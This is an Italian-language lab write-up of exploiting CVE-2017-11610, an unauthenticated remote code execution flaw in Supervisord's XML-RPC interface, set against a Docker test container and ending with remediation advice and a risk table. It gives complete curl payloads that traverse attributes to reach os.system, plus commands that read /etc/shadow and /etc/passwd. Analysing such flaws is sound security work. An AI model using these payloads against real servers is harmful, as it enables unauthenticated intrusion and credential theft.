
Analisi passo-passo dell'exploit per CVE-2017-11610 (Supervisord XML-RPC RCE) con analisi della superficie d'attacco, scoperta di traversal dei namespace e tecniche di post-exploitation in un ambiente lab Docker.
Iniziando con ciò che è in esecuzione nell'ambiente. Elenco tutti i contenitori attivi:``` docker ps-a

**La vittima espone una singola porta: `9001`**.
La porta 9001 non è un'applicazione web standard. Consultando il **database delle porte** si scopre che questa porta potrebbe essere associata a **Supervisord** (ETL Service Manager secondo IANA), Tor proxy, o qualche altro servizio interno. Tuttavia, non possiamo trarre una conclusione basandoci unicamente sul numero di porta.
⇒ Eseguo curl direttamente per leggere la risposta e accedo anche all'interfaccia web per raccogliere ulteriori informazioni.```
curl -i http://192.168.3.137:9001/


Analisi della risposta:
Server: Medusa/1.12 e il titolo Supervisor Status→ Confermato che si tratta di Supervisord, non di Tor o altri servizi.
REFRESH, RESTART ALL, STOP ALLSupervisord è un gestore di processi su Linux. Se porta 9001 è esposta in rete senza password, questa è una configurazione pericolosa. Un attaccante potrebbe visualizzare servizi, riavviare/fermare processi e, in determinate configurazioni, sfruttarla per eseguire comandi se dispone dei privilegi per modificare o controllare i programmi gestiti.
Conclusione dell'analisi: Possiamo confermare che il target sta esponendo l'interfaccia di amministrazione di Supervisord in rete sulla porta 9001. Non si tratta di un servizio web standard, ma di un'interfaccia di gestione utilizzata per monitorare e controllare i processi. La possibilità di accedere a questa interfaccia senza autenticazione crea un rischio che un attaccante possa visualizzare lo stato dei servizi gestiti o interagire con essi.
Tuttavia, dobbiamo distinguere tra l'interfaccia utente visibile e il meccanismo di controllo sottostante. Pulsanti come REFRESH, RESTART ALL e STOP ALL non elaborano richieste autonomamente sul frontend; invece, devono chiamare un'interfaccia/backend di Supervisord per recuperare lo stato o inviare comandi di controllo dei processi. Pertanto, dopo aver confermato che la Web UI è esposta, il passo successivo dell'analisi è determinare se l'interfaccia di controllo sottostante esiste dietro la Web UI e se richiede autenticazione.
⇒ Riflessione: Necessità di verificare se l'interfaccia di controllo dietro la Web UI esiste e se richiede autenticazione.

Secondo la documentazione di Supervisor, [inet_http_server] è un server HTTP che ascolta su un socket TCP. Questa interfaccia non è abilitata per impostazione predefinita, dovrebbe essere utilizzata solo in ambienti fidati, non supporta la crittografia e non ha autenticazione predefinita a meno che non siano configurati username/password.
La documentazione indica anche che la porta di [inet_http_server] è utilizzata per ricevere richieste HTTP/XML-RPC; supervisorctl utilizza XML-RPC per comunicare con supervisord tramite questa porta. Ciò corrisponde alla nostra osservazione in laboratorio: il contenitore espone 0.0.0.0:9001->9001/tcp, la Web UI è accessibile senza autenticazione e la versione visualizzata è Supervisor 3.3.2.
Pertanto, dopo aver confermato la Web UI sulla porta 9001, il passo successivo è ispezionare l'endpoint XML-RPC /RPC2. Basandoci sul meccanismo ufficiale di Supervisord, dobbiamo verificare questi obiettivi:
/RPC2 esista.supervisor.getState o system.listMethods.Verificare se l'endpoint è attivo:```
curl -i -s -X POST -H "Content-Type: text/xml"
-d 'supervisor.getState'
http://192.168.3.137:9001/RPC2

Il risultato restituisce `HTTP/1.1 200 OK`, non `401 Unauthorized` o `403 Forbidden`, dimostrando che la richiesta è stata accettata dal server senza credenziali. La risposta è nel formato XML-RPC `<methodResponse>` e contiene `statename=RUNNING` e `statecode=1`, provando che l'endpoint `/RPC2` è attivo e che il metodo `supervisor.getState` è stato eseguito con successo.
**⇒ Riflessione:** La superficie d'attacco non è più limitata all'interfaccia Web, ma si è estesa all'API XML-RPC, dove vengono gestiti i comandi di controllo dei daemon/processi. Da qui, la prossima direzione di analisi è **verificare come Supervisor** gestisce `methodName` in **XML-RPC**, per determinare se il target corrente **mostra il comportamento di CVE-2017-11610**, che risiede nel meccanismo di dispatch/ricerca di questo metodo. Dobbiamo verificarlo per concludere se si tratta di **CVE-2017-11610**.
### **Analisi dell'elaborazione del nome del metodo in XML-RPC**
Nel passaggio precedente, abbiamo chiamato con successo il metodo `supervisor.getState` tramite l'endpoint `/RPC2`. Questo solleva la domanda successiva: quando riceve un `methodName` basato su stringa, come fa Supervisord a mappare quella stringa alla funzione Python interna?
In XML-RPC, i metodi tipicamente utilizzano namespace, ad esempio:
- `supervisor.getState`
- `supervisor.stopProcess`
- `supervisor.getAllProcessInfo`
Logicamente, il server riceve la stringa `methodName`, la divide in base al punto `.` e cerca l'oggetto/funzione corrispondente all'interno dell'handler registrato.
Il pseudo-codice può essere compreso come segue:
```python
# Pseudo-code: method dispatch in XML-RPC
def dispatch_method(methodName):
parts = methodName.split('.')
# parts[0] = namespace (e.g., 'supervisor')
# parts[1] = method name (e.g., 'getState')
handler = get_handler(parts[0])
method = getattr(handler, parts[1])
return method(*args)
``````python
# Pseudo-code simulating the dispatch method concept in XML-RPC
def dispatch(method_name, params):
parts = method_name.split(".") # ["supervisor", "getState"]
obj = registered_handlers[parts[0]] # get namespace "supervisor"
for attr in parts[1:]:
obj = getattr(obj, attr) # lookup the next attribute
return obj(*params) # call the final function
Per i metodi standard come supervisor.getState, questo meccanismo funziona normalmente: il server recupera il gestore supervisor, quindi chiama la funzione getState. Tuttavia, il problema principale di CVE-2017-11610 è che questo meccanismo di ricerca non limita sufficientemente gli attributi che possono essere acceduti. Se un attaccante controlla methodName, può non solo chiamare metodi pubblici come getState, ma anche addentrarsi più a fondo negli oggetti/moduli interni raggiungibili dal gestore supervisor.
In altre parole, il punto . in methodName non è usato solo per invocare metodi validi, ma può essere abusato per attraversare attributi di oggetti.
Questo stabilisce il nostro percorso di exploit:
supervisor → supervisord → options → warnings → linecache → os → system
L'idea è di partire dal gestore supervisor, seguire gli attributi fino agli oggetti interni del demone, e poi sfruttare moduli Python pre-importati per raggiungere os.system. Se os.system può essere chiamato, l'attaccante può eseguire comandi di sistema con i privilegi del processo supervisord.
Quindi, la catena di attacco segue questa logica:
/RPC2 accetta chiamate di metodo non autenticate → si ispeziona come XML-RPC assegna methodName → si scopre che methodName può attraversare attributi di oggetti → si arriva a chiamare os.system.
Prima, devo verificare se il server effettivamente permette di attraversare attributi interni. Proverò a chiamare un method name più lungo del solito. Se il server restituisce un errore "metodo non trovato", un filtro è attivo; se restituisce un errore diverso (o riesce), l'attraversamento funziona.
Pensando: So già che supervisor.getState funziona. Se provo supervisor.supervisord—che va un livello più a fondo—e il server non restituisce un errore unknown method, significa che sta effettivamente usando getattr ricorsivo senza una whitelist.
Sappiamo che XML-RPC è un protocollo di chiamata di procedura remota su HTTP, con dati codificati in XML. Ogni richiesta è composta solo da 3 componenti fissi:```
FUNCTION_NAME VALUE ``` Struttura semplice — basta sostituire `` e ``. Se la funzione non richiede parametri, lascia `` vuoto. Se la funzione richiede una stringa, avvolgila all'interno di `...`. Non è una conoscenza segreta — leggere la RFC XML-RPC lo spiega in dettaglio.⇒ Applicazione: prova a chiamare un methodName più lungo del solito per verificare l'attraversamento del namespace:```
curl -s -X POST -H "Content-Type: text/xml"
-d 'supervisor.supervisord.options'
http://192.168.3.137:9001/RPC2

Il risultato restituisce un `HTTP 500 Internal Server Error` invece del normale errore `unknown method`. Ciò indica che il server non blocca il `methodName` a un livello di namespace valido, ma ha invece continuato a elaborare la catena `supervisor.supervisord.options` durante l'invio. In altre parole, la richiesta ha attraversato profondamente il meccanismo di ricerca degli attributi; l'errore si è verificato in un passaggio successivo quando l'oggetto risolto non era invocabile come metodo. Questo è un chiaro indicatore che la traversata del namespace tramite `methodName` è attiva.
### **Trovare il Percorso verso la Funzione di Esecuzione dei Comandi**
La traversata funziona. Il passo successivo è **trovare una catena di attributi che termini con una funzione invocabile in grado di eseguire comandi di sistema.** In Python, il bersaglio più semplice da verificare è `os.system()`. Tuttavia, **non abbiamo una shell sul target** e **non possiamo leggere direttamente gli oggetti sorgente/runtime nel contenitore.** Pertanto, dobbiamo **dedurre dai meccanismi di import di Python** e **verificare le dipendenze localmente prima.**
La catena da ispezionare è:
`supervisor` → `supervisord` → `options` → `warnings` → `linecache` → `os` → `system`
- Supervisord è scritto in Python, quindi oggetti interni come `options` sono oggetti Python con attributi.
- Se un modulo importa un altro modulo tramite `import X`, allora `X` esisterà nel namespace di quel modulo.
- Nella libreria standard Python, il modulo `warnings` importa `linecache` per ottenere il contesto quando visualizza avvisi.
- Il modulo `linecache` importa `os` per manipolazioni di percorsi/file.
- Il modulo `os` fornisce la funzione `system()`, che è un invocabile in grado di eseguire comandi shell.
Conferma questa dipendenza localmente prima di provarla sul target:```bash
python3 -c "import warnings; print('linecache' in dir(warnings))"
# True
python3 -c "import linecache; print('os' in dir(linecache))"
# True
python3 -c "import os; print(callable(os.system))"
# True
⇒ Riflessione: La catena di dipendenze warnings → linecache → os è una dipendenza reale nella libreria standard di CPython; e system è effettivamente una funzione chiamabile nel modulo os. Combinata con la falla di attraversamento del namespace in XML-RPC, se possiamo raggiungere supervisord.options.warnings dal gestore supervisor, possiamo continuare ad attraversare fino a linecache.os.system per invocare comandi di sistema.
Dopo aver identificato la catena di attraversamento verso os.system, il passo successivo è costruire la richiesta XML-RPC per chiamare questa funzione. In Python, os.system() accetta un parametro stringa che rappresenta il comando shell da eseguire, e restituisce il codice di uscita del comando. Questa funzione non restituisce direttamente lo stdout alla risposta XML-RPC, quindi per provare che il comando è stato eseguito, dobbiamo reindirizzare l'output in un file.
⇒ Riflessione: Nessun output diretto nella risposta, quindi scriviamo i risultati in /tmp. La directory /tmp è tipicamente scrivibile da tutti gli utenti su Linux. Un payload di verifica sicuro è:
id > /tmp/rce_proof.txt
Applicando il template XML-RPC analizzato sopra, sostituire <methodName> con la catena di attraversamento verso os.system e passare il comando shell all'interno di <string>:```bash
curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemid > /tmp/rce_proof.txt' http://192.168.3.137:9001/RPC2

Il valore `<int>0</int>` è il codice di uscita di `os.system()`, non l'stdout del comando. Un codice di uscita `0` indica che il comando shell è stato eseguito con successo. Lo verifichiamo leggendo il file all'interno del contenitore:```
docker exec project1-lab03-1 cat /tmp/rce_proof.txt

⇒ RCE confermata. Il comando id è stato eseguito all'interno del container, con i privilegi dell'utente nobody (uid=65534).
Punto chiave: L'RCE è ottenuta, ma i privilegi di esecuzione dipendono dall'utente che esegue il processo supervisord. In questo laboratorio, il comando viene eseguito con l'utente nobody, il che significa che l'impatto è più limitato rispetto a se supervisord fosse eseguito come root.
Dopo aver confermato l'RCE, vediamo che nobody è un utente a bassi privilegi su Linux. Tuttavia, dovremmo verificarlo nella pratica piuttosto che affidarci solo all'output di id. Il metodo di verifica consiste nel tentare di leggere /etc/shadow, poiché questo file è solitamente leggibile solo da root e dal gruppo shadow. Se leggibile, il processo ha privilegi elevati; se bloccato, i privilegi sono effettivamente limitati.
Invia il payload per leggere /etc/shadow e reindirizza sia stdout che stderr verso un file:```bash
curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemcat /etc/shadow > /tmp/shadow_test.txt 2>&1' http://192.168.3.137:9001/RPC2

La risposta restituisce `<int>256</int>`, che è il valore di ritorno di `os.system()`. Su Unix, gli stati di uscita sono codificati; `256` corrisponde al codice di uscita del comando shell `1`. Questo indica che il comando è stato eseguito ma fallito.
Confermiamo la causa del fallimento leggendo il file di output all'interno del container e controllando i permessi di `/etc/shadow`:```
docker exec project1-lab03-1 cat /tmp/shadow_test.txt
docker exec project1-lab03-1 ls -l /etc/shadow

I risultati mostrano che il file di output ha registrato questo errore:
cat: /etc/shadow: Permission denied
I permessi per /etc/shadow sono:
rw-r----- 1 root shadow 501 Apr 14 2020 /etc/shadowIl file /etc/shadow è di proprietà di root, gruppo shadow, ed è leggibile solo dal proprietario/gruppo. Nel frattempo, la nostra precedente RCE ha confermato che il comando viene eseguito con l'utente nobody; questo utente non appartiene al gruppo shadow e pertanto non può leggere questo file.
⇒ Conclusione: La RCE è stata ottenuta, ma i privilegi sono effettivamente limitati all'utente nobody. Questa è una distinzione critica rispetto a un servizio eseguito come root: l'attaccante può eseguire comandi, ma non ottiene automaticamente il controllo totale del sistema.
Sebbene non possiamo leggere /etc/shadow, la RCE ci consente comunque di eseguire comandi con i privilegi di nobody. Pertanto, possiamo continuare a raccogliere informazioni che questo utente è autorizzato a leggere, come l'elenco dei processi in esecuzione e le informazioni sugli utenti nel sistema.
curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemps aux > /tmp/ps_output.txt 2>&1' http://192.168.3.137:9001/RPC2
```
docker exec project1-lab03-1 cat /tmp/ps_output.txt

PID 1 nel contenitore viene eseguito come root, ma il processo supervisord viene eseguito come nobody. Questo spiega perché l'RCE ha avuto successo ma non aveva i privilegi per leggere i file riservati a root.
Risultato: ps aux mostra che PID 1 nel contenitore è /bin/bash /usr/local/bin/docker-entrypoint.sh eseguito come root, mentre il processo supervisord viene eseguito come nobody.
Questo spiega perché l'RCE ha avuto successo ma non aveva i permessi per leggere i file di solo root: il comando viene eseguito con i privilegi del processo supervisord, non di PID 1.
curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemcat /etc/passwd > /tmp/passwd_dump.txt 2>&1' http://192.168.3.137:9001/RPC2
```
docker exec project1-lab03-1 cat /tmp/passwd_dump.txt

Risultato: /etc/passwd mostra che il sistema contiene principalmente utenti predefiniti come root, daemon, nobody e _apt; non sono stati rilevati utenti di servizio aggiuntivi. Ciò indica che l'ambiente container è minimale, privo di altri account applicativi da sfruttare o da cui muoversi in questa fase.
In questo laboratorio non è stato possibile stabilire una reverse shell. Tuttavia, non dobbiamo concludere semplicemente che una rete bridge Docker blocchi sempre le reverse shell, poiché i container Docker in genere mantengono capacità di connessione in uscita tramite NAT. La causa potrebbe derivare da routing, firewall, listener, interfacce o dalla configurazione di rete dell'ambiente di laboratorio.
Il punto cruciale è: il fallimento della reverse shell non altera la conclusione principale. L'RCE è stato confermato con il payload id, codice di uscita 0 e il file di output in /tmp. L'attaccante può eseguire comandi arbitrari all'interno del container con i privilegi dell'utente nobody.
Priorità Urgente
Aggiornare Supervisord alla versione corretta
Aggiornare Supervisor alla versione >= 3.3.3. La versione corretta elimina completamente il meccanismo di ricerca ricorsiva dei namespace in XML-RPC, che era la causa principale di CVE-2017-11610.
Non esporre [inet_http_server] alla rete se non necessario
Se l'interfaccia Web o la gestione remota non sono necessarie, disabilitare completamente [inet_http_server]. Si tratta di un'interfaccia di gestione che non dovrebbe essere ampiamente accessibile sulla rete.
Limitare l'indirizzo di binding
Se si ha comunque bisogno dell'interfaccia Web abilitata, effettuare il binding solo su localhost invece di 0.0.0.0:
[inet_http_server]
port=127.0.0.1:9001
Priorità Alta
Abilitare l'autenticazione per [inet_http_server]
Se è necessario esporre questa interfaccia per l'amministrazione remota, configurare un nome utente/password forte:
[inet_http_server] port=127.0.0.1:9001 username=admin password=<password_forte>
Se deve essere associata alla rete, non affidarsi solo a una password; posizionarla dietro una VPN/reverse proxy o limitare l'accesso per IP.
Limitare l'accesso tramite firewall
Consentire solo gli IP amministrativi per l'accesso alla porta 9001, ad esempio tramite un firewall/gruppo di sicurezza. Non esporre questa porta a Internet pubblico o all'intera rete interna.
Eseguire supervisord con un utente a bassi privilegi
Questo laboratorio viene eseguito con l'utente nobody, mantenendo l'impatto limitato. In ambienti reali, evitare di eseguire supervisord come root se non assolutamente necessario.
| Criterio | Valutazione | Dettagli |
|---|
| Punteggio CVSS | 9.8 (Critico) | Secondo CVE/NVD, la vulnerabilità è un RCE non autenticato su Supervisor <= 3.3.2 |
| Autenticazione | Non richiesta | L'endpoint /RPC2 elabora richieste XML-RPC senza richiedere nome utente/password |
| Complessità | Bassa | Sfruttabile tramite richieste XML-RPC manuali, senza necessità di Metasploit |
| Privilegi Ottenuti | nobody | L'RCE viene eseguito con i privilegi del processo supervisord; in questo laboratorio, limitato all'utente nobody |
| Impatto | Alto | In grado di eseguire comandi, scrivere file in directory scrivibili come /tmp e raccogliere informazioni di sistema |
| Limiti | Impossibile leggere file di solo root | /etc/shadow ha restituito Permission Denied, dimostrando che i privilegi non sono root |
| Pivoting su Rete Interna | Possibile | L'utente nobody può comunque tentare di connettersi ad altri servizi/container se le policy di rete lo consentono |